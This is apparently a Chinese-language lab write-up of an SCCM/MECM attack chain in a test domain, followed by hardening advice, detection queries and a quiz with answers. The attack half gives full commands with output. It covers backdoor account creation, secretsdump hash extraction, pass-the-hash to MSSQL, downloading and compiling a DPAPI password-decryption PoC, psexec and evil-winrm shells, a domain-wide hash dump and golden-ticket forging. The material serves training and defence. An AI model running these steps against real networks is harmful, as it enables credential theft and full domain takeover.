nt authority\system
C:\Windows\CCM\> hostname
MECM
重要提示:
腳本部署會在 SCCM 主控台中留下記錄:
清理步驟:
已完成:
取得的存取權限:
重要發現:
下一步:
從 MECM 伺服器提取資料庫中的加密憑證,最終目標是取得 sccm-account-da 的密碼
最終目標:取得 sccm-account-da 域管理員帳戶的密碼
攻擊路徑:
MECM SYSTEM Shell
    ↓
建立本地管理員帳戶
    ↓
提取 MECM$ 機器帳戶雜湊
    ↓
使用 MECM$ 連接 MSSQL 資料庫
    ↓
查詢 SC_UserAccount 資料表
    ↓
提取加密的密碼
    ↓
使用 MECM 的 DPAPI 金鑰解密
    ↓
取得明文密碼
    ↓
驗證域管理員存取
為什麼需要這個步驟:
雖然我們有 MECM 的 SYSTEM Shell,但為了方便後續操作(如 RDP 連接、檔案傳輸等),建立一個本地管理員帳戶更為實用。
在 MECM 的 SYSTEM Shell 中執行:
# 建立新的本地使用者
PS C:\Windows\CCM> net user myadmin myadminpass /add
The command completed successfully.
# 將使用者加入本地管理員群組
PS C:\Windows\CCM> net localgroup administrators myadmin /add
The command completed successfully.
# 驗證
PS C:\Windows\CCM> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
SCCM\Domain Admins
SCCM\sccm-account-da
myadmin
The command completed successfully.
驗證新帳戶可以登入:
# 從攻擊機驗證
nxc smb 192.168.52.11 \
    -u myadmin \
    -p myadminpass \
    --local-auth

方法 1:使用 secretsdump(遠端)
# 使用新建立的本地管理員帳戶
secretsdump.py \
    MECM/myadmin:'myadminpass'@192.168.52.11

預期輸出:
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
myadmin:1001:aad3b435b51404eeaad3b435b51404ee:...
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
SCCM\MECM$:aad3b435b51404eeaad3b435b51404ee:c8c42823ab75c8740c3a4ae7329b4d20
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x...
dpapi_userkey:0x...
[*] NL$KM 
0x...
[*] Cleaning up...
重要資訊:
MECM$ NTLM Hash: a3c20c3c9cb9ad0ca2279ba9ae74364d
DPAPI Machine Key: 0x251d19b7bb4deb6444b19a97bdcc9d00459e193d
為什麼這個有效:
連接資料庫:
# 使用 MECM$ 的 NTLM 雜湊連接
mssqlclient.py \
    -windows-auth \
    -hashes 'aad3b435b51404eeaad3b435b51404ee:a3c20c3c9cb9ad0ca2279ba9ae74364d' \
    'SCCMLAB/MECM$'@192.168.52.12

步驟 1:切換到 SCCM 資料庫
SQL> USE CM_P01;
步驟 2:查詢所有使用者帳戶
SQL> SELECT * FROM SC_UserAccount;

重要:Password 欄位包含使用 DPAPI 加密的密碼。
步驟 3:取得完整的加密資料
輸出範例:
UserName: sccm-account-da
Password: 0C0100000C000000010200000366000000A400003ACC12F3A3E8BCF9D14299CAD4D45EAEBE81F2408126ACB0C74980CB45D44CA3912047E2A959D25665A395873C502F3171E2A238402CCDDDD8FDC22813DDB4C2181D2FC5B4307E8A52AACBCCD51265894D26016D54A85146CE7F6995BDFEBFBEB51E83A533EEBB882D648221A1C9DD0732427274678EE0623ACB9E94F4EFC05C4717DEE12A91C91FAB4CAB77C7A6EA74A7EAA5E202B395343AE60CBBE3A1BAA25ED9287143851EBFCB8073B16B2AA661EF73FB302B90A4226583C78AC9DAFB89CF76AF7BC514E204B2914B0B49CBD703ED40D4FD3D32425DBDCF3DE1444E77B83F17942290CBA21619B18E432E0EF187686CF2F08BC69ECD44AD3CAEAB8EE38353D39C87F93B8C599A9F3B13017228F2
將這個十六進位值複製下來。
解密原理:
SCCM 使用 Windows DPAPI 加密儲存在資料庫中的密碼。解密需要:
步驟 1:連接到 MECM 伺服器
# 使用 RDP 連接
xfreerdp3 \
    /u:"myadmin" \
    /p:"myadminpass" \
    /v:"192.168.52.11" \
    /cert:ignore \
    /drive:share,/workspace
步驟 2:下載解密工具
在 MECM 的 PowerShell 中:
# 切換到桌面
cd C:\Users\myadmin\Desktop
# 下載 Adam Chester (xpn) 的解密 PoC
curl https://gist.githubusercontent.com/xpn/5f497d2725a041922c427c3aaa3b37d1/raw/f3cc19a7a834adc9676983def23f2a1b43221b42/sccmdecryptpoc.cs -O sccmdecryptpoc.cs
步驟 3:編譯解密工具
# 使用 C# 編譯器編譯
C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe /t:exe /out:sccmdecryptpoc.exe sccmdecryptpoc.cs
預期輸出:
Microsoft (R) Visual C# Compiler version 3.5.30729.9151
Copyright (C) Microsoft Corporation. All rights reserved.
步驟 4:解密所有密碼
從資料庫查詢取得每個帳戶的加密密碼,然後逐一解密:
解密 sccm-client-push:
.\sccmdecryptpoc.exe "0C01000008000000010200000366000000A40000960F040E8ACBA6C40F20A2183981A67C56485E04B21A96548CD92D76D66414C68ECE3C12EE45AD5B68A9A9C4738CC8FE3D5B0077D40FCFC4035B527161888F5D7299745C0745704A48A5C38343C5CBA454CF738C4DFD3046A821B7DBF10E9A9492F96269BE9151D484486E1A2A00D49BF6BFE44E155CF3E0282C1EDF94C5B046915E3442DB657FE34E98F6F6DB442648DC009CB96C29AEA7C5593A1F0CC7D1ABE2643D134EA2D8059B2141DA64B55D85C40B011D2379E3B2214A57DE46983DF4820BB10580CBF5D3221557D9A3B7E501C4EE7D313775357E6452BD43198EEACA6924B659864C808E5FBD13541B30365B281F071597DD83BA61C522164FE442509274729632DF5703E3C99AD4C43B113D"
輸出:
[*] Decrypting password...
[+] Decrypted Password: superman
解密 sccm-naa:
.\sccmdecryptpoc.exe " 0C01000009000000010200000366000000A400009B42ABAC53F64161885C41BE91176EEA01CCB713620FA1715B9D2089853FCE200C88F4DCA0E9B4720755C077385B63F07EA481A01854A90D819EE46BAC1E451703C8C5973D8F232F7964332BD4041BC4AF9C2D73BA8C16F1844F46BC36FCD7236EC48D7FA54F1232F419D5A62060FE54F66A9054B3DD66C99BC6F719C1365606F7EFE30323CB4DF2663FE1B2680402F8FCF2F0C33599FD6569020E9931B5BB710E92B776CDDA54F3E2DC932B94CCEE9B6BA35D075BDFDEB1CA0445094C848ED5AEF535879E48A787DD1B8DFD5CCDE55731FEC6BEE36717EBC5C5E31F0595C90FB838B51AF0BC2F48938B52F8262E2EDC8E106043378A21179C5FF2B0C82EBE521C86195D98CD15A54457FD41A4690B41              0
72057594037927939"
輸出:
[*] Decrypting password...
[+] Decrypted Password: 123456789
解密 sccm-account-da(關鍵):
.\sccmdecryptpoc.exe "0C0100000C000000010200000366000000A400003ACC12F3A3E8BCF9D14299CAD4D45EAEBE81F2408126ACB0C74980CB45D44CA3912047E2A959D25665A395873C502F3171E2A238402CCDDDD8FDC22813DDB4C2181D2FC5B4307E8A52AACBCCD51265894D26016D54A85146CE7F6995BDFEBFBEB51E83A533EEBB882D648221A1C9DD0732427274678EE0623ACB9E94F4EFC05C4717DEE12A91C91FAB4CAB77C7A6EA74A7EAA5E202B395343AE60CBBE3A1BAA25ED9287143851EBFCB8073B16B2AA661EF73FB302B90A4226583C78AC9DAFB89CF76AF7BC514E204B2914B0B49CBD703ED40D4FD3D32425DBDCF3DE1444E77B83F17942290CBA21619B18E432E0EF187686CF2F08BC69ECD44AD3CAEAB8EE38353D39C87F93B8C599A9F3B13017228F2"
輸出:
[*] Decrypting password...
[+] Decrypted Password: SCCM_D@-ftw_
所有取得的憑證總結:
sccm-client-push:
- 密碼:superman
- 權限:CLIENT 本地管理員
sccm-naa:
- 密碼:123456789
- 權限:SCCM 發布點讀取權限
sccm-account-da:
- 密碼:SCCM_D@-ftw_
- 權限:域管理員(待驗證)
使用新取得的憑證驗證:
# 測試 sccm-account-da 在域控制站的權限
nxc smb 192.168.52.10 \
    -u sccm-account-da \
    -p 'SCCM_D@-ftw_' \
    -d sccm.lab

取得 DC Shell:
# 使用 PSExec
impacket-psexec \
    sccm.lab/sccm-account-da:'SCCM_D@-ftw_'@192.168.52.10
或使用 Evil-WinRM:
evil-winrm \
    -i 192.168.52.10 \
    -u sccm-account-da \
    -p 'SCCM_D@-ftw_'
whoami
whoami /groups | findstr "Domain Admins"
hostname

成功! 我們現在是域管理員,完全控制了整個 SCCM.lab 域。
提取域內所有雜湊:
secretsdump.py \
    sccm.lab/sccm-account-da:'SCCM_D@-ftw_'@192.168.52.10

黃金票證製作:
# 使用 krbtgt 雜湊製作黃金票證
impacket-ticketer \
    -nthash b4336da61e1e3943bb014edeef50dfb0 \
    -domain-sid S-1-5-21-3544182104-1320166847-3102157022 \
    -domain sccm.lab \
    Administrator

已完成:
取得的高權限憑證:
sccm-account-da:
- 使用者:sccm.lab\sccm-account-da
- 密碼:SCCM_D@-ftw_
- 群組:Domain Admins
- 權限:完全控制域環境
krbtgt:
- NTLM: [已提取]
- AES256: [已提取]
- 用途:製作黃金票證
所有域用戶的 NTLM 雜湊:
- 可用於 Pass-the-Hash
- 可用於破解明文密碼
攻擊影響評估:
妥協範圍:完整域環境
受影響資產:
- 所有域控制站
- 所有域成員伺服器
- 所有域工作站
- SCCM 管理基礎設施
- MSSQL 資料庫伺服器
攻擊者能力:
- 建立/刪除任何域帳戶
- 修改群組成員資格
- 部署軟體到所有機器
- 存取所有域資源
- 製作黃金/銀票證
- 持久化存取
各階段的偵測可能性:
偵測難度評估(1-5星,5星最難偵測)
階段一:PXE 攻擊
  偵測難度:★★☆☆☆
  偵測方法:TFTP 日誌、異常 PXE 請求
  
階段二:NTLM Relay
  偵測難度:★★★☆☆
  偵測方法:認證日誌、SQL 資料庫變更
  
階段三:SCCM 管理活動
  偵測難度:★★★★☆
  偵測方法:SCCM 稽核日誌、異常查詢模式
  
階段四:憑證收集
  偵測難度:★★★★☆
  偵測方法:WMI 查詢監控、檔案存取監控
  
階段五:腳本部署
  偵測難度:★★☆☆☆
  偵測方法:SCCM 部署日誌、反向連線
  
階段六:資料庫存取
  偵測難度:★★★☆☆
  偵測方法:SQL 查詢日誌、敏感資料表存取
  
階段七:域管理員利用
  偵測難度:★★☆☆☆
  偵測方法:特權帳戶使用、DC 日誌
此攻擊鏈成功的關鍵條件:
從紅隊角度:
優勢:
風險:
持久化選項:
立即實施(P0):
# 在所有 SCCM 伺服器上執行
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
群組原則設定:
電腦設定 → 原則 → Windows 設定 → 安全性設定 → 本機原則 → 安全性選項
    → Microsoft 網路伺服器: 數位簽章通訊 (一律) = 已啟用
    → Microsoft 網路用戶端: 數位簽章通訊 (一律) = 已啟用
# 在域控制站上
Set-ADDomainController -LDAPServerIntegrity 2
# 啟用通道繫結
Set-ItemProperty `
    -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
    -Name "LdapEnforceChannelBinding" `
    -Value 2
在 SQL Server 上:
SQL Server Configuration Manager 
    → SQL Server Network Configuration 
    → Protocols for [Instance] 
    → Properties 
    → Advanced 
    → Extended Protection = Required
短期實施(P1):
# 停用列印服務(如果不需要)
Stop-Service -Name Spooler
Set-Service -Name Spooler -StartupType Disabled
管理 VLAN (VLAN 10)
    ├─ MECM: 192.168.52.11
    ├─ MSSQL: 192.168.52.12
    └─ 防火牆規則:僅允許必要流量
生產 VLAN (VLAN 20)
    ├─ CLIENT: 192.168.52.13
    └─ 其他工作站
封鎖規則:
    VLAN 20 → VLAN 10: TFTP (UDP 69)
    VLAN 20 → VLAN 10: MSSQL (TCP 1433)
限制資料庫權限:
-- 在 MSSQL 上執行
USE master;
-- 移除 MECM$ 的 sysadmin 角色
EXEC sp_dropsrvrolemember 'SCCM\MECM$', 'sysadmin';
-- 僅授予必要的資料庫權限
USE CM_P01;
CREATE USER [SCCM\MECM$] FOR LOGIN [SCCM\MECM$];
EXEC sp_addrolemember 'db_datareader', 'SCCM\MECM$';
EXEC sp_addrolemember 'db_datawriter', 'SCCM\MECM$';
-- 拒絕修改敏感資料表
DENY UPDATE ON RBAC_Admins TO [SCCM\MECM$];
DENY INSERT ON RBAC_Admins TO [SCCM\MECM$];
DENY DELETE ON RBAC_Admins TO [SCCM\MECM$];
實施 RBAC 最小權限:
# 建立受限的管理角色
New-CMSecurityRole `
    -Name "Restricted SCCM Operator" `
    -Description "Limited operator role"
# 移除不必要的權限
$role = Get-CMSecurityRole -Name "Restricted SCCM Operator"
Remove-CMSecurityRolePermission `
    -SecurityRole $role `
    -PermissionType "Modify" `
    -ObjectType "SMS_R_System"
稽核 SCCM 管理員:
# 定期檢查管理員列表
Get-CMAdministrativeUser | 
    Select-Object LogonName, AccountType, LastModifiedDate |
    Export-Csv "SCCM_Admins_$(Get-Date -Format 'yyyyMMdd').csv"
遷移到 Enhanced HTTP:
SCCM 主控台
    → 管理 
    → 站點設定 
    → 站點 
    → [右鍵] 內容 
    → 通訊安全 
    → ✓ 使用 Configuration Manager 產生的憑證用於 HTTP 站點系統
    → 客戶端電腦通訊:HTTPS 或 HTTP
如果必須使用 NAA,實施嚴格控制:
# 檢查 NAA 的群組成員資格
$naaAccount = "sccm-naa"
Get-ADUser -Identity $naaAccount -Properties MemberOf
# 應該只屬於 Domain Users
# 移除其他所有群組成員資格
# 自動化腳本:每 90 天更換密碼
$newPassword = [System.Web.Security.Membership]::GeneratePassword(20, 5)
Set-ADAccountPassword `
    -Identity "sccm-naa" `
    -NewPassword (ConvertTo-SecureString $newPassword -AsPlainText -Force)
# 在 SCCM 中更新
# 管理 → 站點設定 → 站點 → 設定站點元件 → 軟體發佈
部署 LAPS:
# 安裝 LAPS
Import-Module AdmPwd.PS
# 擴充 AD 架構
Update-AdmPwdADSchema
# 設定權限
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=sccm,DC=lab"
# 設定密碼策略
Set-AdmPwdPasswordPolicy `
    -OrgUnit "OU=Workstations,DC=sccm,DC=lab" `
    -PasswordLength 20 `
    -PasswordComplexity 4 `
    -PasswordAge 30
強制腳本核准流程:
SCCM 主控台
    → 管理 
    → 站點設定 
    → 站點 
    → 階層設定 
    → ✓ 需要核准才能執行腳本
    → 核准者:[指定核准者群組]
實施部署視窗:
# 建立維護視窗,限制部署時間
New-CMMaintenanceWindow `
    -CollectionId "SMS00001" `
    -Name "Production Deployment Window" `
    -StartTime "2025-10-14 02:00:00" `
    -Duration 240 `
    -RecurInterval Days `
    -RecurCount 1
監控異常部署:
# 每小時檢查新部署
$lastHour = (Get-Date).AddHours(-1)
$deployments = Get-CMDeployment | 
    Where-Object { $_.CreationTime -gt $lastHour }
foreach ($deployment in $deployments) {
    if ($deployment.CollectionName -eq "All Systems") {
        # 發送警報
        Send-MailMessage `
            -To "security@company.com" `
            -Subject "ALERT: Deployment to All Systems" `
            -Body "Deployment: $($deployment.ApplicationName)"
    }
}
實施資料庫稽核:
-- 建立稽核規格
USE master;
GO
CREATE SERVER AUDIT SCCM_Audit
TO FILE (FILEPATH = 'C:\SQLAudit\');
CREATE SERVER AUDIT SPECIFICATION SCCM_Audit_Spec
FOR SERVER AUDIT SCCM_Audit
ADD (SUCCESSFUL_LOGIN_GROUP),
ADD (FAILED_LOGIN_GROUP),
ADD (SCHEMA_OBJECT_CHANGE_GROUP);
ALTER SERVER AUDIT SCCM_Audit WITH (STATE = ON);
ALTER SERVER AUDIT SPECIFICATION SCCM_Audit_Spec WITH (STATE = ON);
-- 資料庫層級稽核
USE CM_P01;
GO
CREATE DATABASE AUDIT SPECIFICATION SCCM_DB_Audit_Spec
FOR SERVER AUDIT SCCM_Audit
ADD (SELECT, UPDATE, INSERT, DELETE ON SCHEMA::dbo BY [SCCM\MECM$]);
ALTER DATABASE AUDIT SPECIFICATION SCCM_DB_Audit_Spec WITH (STATE = ON);
監控敏感資料表:
-- 建立觸發器監控 RBAC 變更
USE CM_P01;
GO
CREATE TRIGGER trg_RBAC_Admins_Audit
ON RBAC_Admins
AFTER INSERT, UPDATE, DELETE
AS
BEGIN
    INSERT INTO RBAC_Audit_Log (
        Action,
        LogonName,
        AdminSID,
        ModifiedBy,
        ModifiedDate
    )
    SELECT 
        'INSERT' as Action,
        LogonName,
        AdminSID,
        SYSTEM_USER,
        GETDATE()
    FROM inserted;
END;
加密敏感資料:
-- 使用 Always Encrypted 保護密碼欄位
ALTER TABLE SC_UserAccount
ALTER COLUMN Password ADD ENCRYPTED WITH (
    ENCRYPTION_TYPE = DETERMINISTIC,
    ALGORITHM = 'AEAD_AES_256_CBC_HMAC_SHA_256',
    COLUMN_ENCRYPTION_KEY = SCCM_CEK
);
關鍵事件 ID 監控:
Windows Event IDs:
  認證事件:
    - 4624: 成功登入 (類型 3 = 網路登入)
    - 4625: 登入失敗
    - 4768: Kerberos TGT 請求
    - 4769: Kerberos TGS 請求
    
  權限變更:
    - 4672: 特殊權限指派
    - 4720: 建立使用者帳戶
    - 4732: 成員加入本機群組
    - 4756: 成員加入全域群組
    
  物件存取:
    - 5140: 存取網路共享
    - 5145: 檢查共享物件
    - 4663: 嘗試存取物件
    
  RPC/列印:
    - 307: 列印服務相關事件
SQL Server Events:
  - 登入成功/失敗
  - 權限變更
  - 敏感資料表存取 (RBAC_Admins, SC_UserAccount)
  
SCCM Events:
  - 腳本執行
  - 部署建立
  - 管理員變更
  - CMPivot 查詢
Splunk 查詢範例:
# 偵測 NTLM Relay 攻擊
index=windows EventCode=4624 Logon_Type=3 
| where Account_Name LIKE "%$" 
| stats count by src_ip, dest_ip, Account_Name
| where count > 5
# 偵測異常的 SCCM 管理活動
index=sccm source="*AdminUI.log" 
| regex _raw="RBAC_Admins|add_admin" 
| stats count by user, action
| where count > 1
# 偵測腳本部署到所有系統
index=sccm source="*ScriptExecution.log" 
| regex Collection="All Systems" 
| table _time, user, script_name, target
# 偵測資料庫異常查詢
index=sql source="*ERRORLOG" 
| regex _raw="SC_UserAccount|RBAC_Admins" 
| stats count by user, query
| where count > 3
高優先級告警:
條件:INSERT/UPDATE/DELETE on RBAC_Admins
嚴重性:Critical
動作:立即通知 + 暫時停用 SCCM
條件:新管理員加入且不在白名單
嚴重性:High
動作:通知 + 自動移除
條件:部署目標 > 100 台機器
嚴重性:Medium
動作:通知 + 需要核准
條件:機器帳戶從非預期來源認證
嚴重性:High
動作:通知 + 封鎖來源 IP
在 NTLM Relay 攻擊中,為什麼 MECM$ 機器帳戶的認證可以被成功中繼到 MSSQL 伺服器?
A. MECM$ 是域管理員
B. MECM$ 必須是 MSSQL Server 的 sysadmin 才能管理 SCCM 資料庫
C. MSSQL 沒有設定密碼
D. MECM$ 使用了弱密碼
答案:B
解析:
MECM$ 機器帳戶是 MSSQL 的 sysadmin(最高權限),因為 SCCM 需要完整控制資料庫。攻擊者利用這點:強制 MECM 認證 → Relay 到 MSSQL → 用 sysadmin 權限修改管理員資料表。防禦:啟用 SMB 簽章。
使用 SharpSCCM 從客戶端提取 SCCM 憑證時,為什麼需要本地管理員權限?
A. 需要安裝 SharpSCCM 軟體
B. SCCM 憑證使用 DPAPI 加密,解密需要 SYSTEM 或管理員權限存取 Master Key
C. 需要修改 SCCM 客戶端設定
D. 需要連接到遠端 SCCM 伺服器
答案:B
解析:
SCCM 憑證用 DPAPI 加密,加密金鑰(Master Key)存在 C:\Windows\System32\Microsoft\Protect\S-1-5-18\。只有管理員或 SYSTEM 能讀取這個目錄,所以需要管理員權限才能解密。
在第三階段的腳本部署攻擊中,為什麼需要建立一個「核准用帳戶」(approval account)?
A. SCCM 環境啟用了腳本執行需要核准的安全設定
B. 需要第二個帳戶來繞過防火牆
C. Carol 的密碼過期了
D. 為了隱藏攻擊痕跡
答案:A
解析:
SCCM 安全規則:建立腳本的人和核准腳本的人必須是不同帳戶(職責分離)。carol 建立腳本但不能自己核准,所以需要第二個管理員帳戶(approval$)來核准。
在資料庫憑證解密階段,使用 sccmdecryptpoc.exe 工具時,為什麼必須在 MECM 伺服器上本地執行,而不能在其他機器上解密?
A. 工具只能在 Windows Server 上執行
B. 解密需要 MECM 伺服器上的 DPAPI Master Key
C. 資料庫只允許從 MECM 連接
D. 需要 MECM 伺服器的網路設定
答案:B
解析:
密碼是用 MECM 伺服器的 DPAPI 加密的,解密金鑰(Master Key)只存在 MECM 伺服器上,而且無法複製到其他機器。就像鎖和鑰匙:必須在有鑰匙的地方才能開鎖。
完成整個攻擊鏈後,從低權限域用戶(carol)到域管理員(sccm-account-da)的最關鍵步驟是什麼?
A. PXE Boot 攻擊取得初始憑證
B. NTLM Relay 到 MSSQL 提升為 SCCM 管理員
C. 使用 SharpSCCM 收集本地憑證
D. 資料庫憑證解密
答案:B
解析:
NTLM Relay 是最關鍵的步驟,因為:
簡單說:這是從「低權限」跳到「高權限」的唯一關鍵突破點。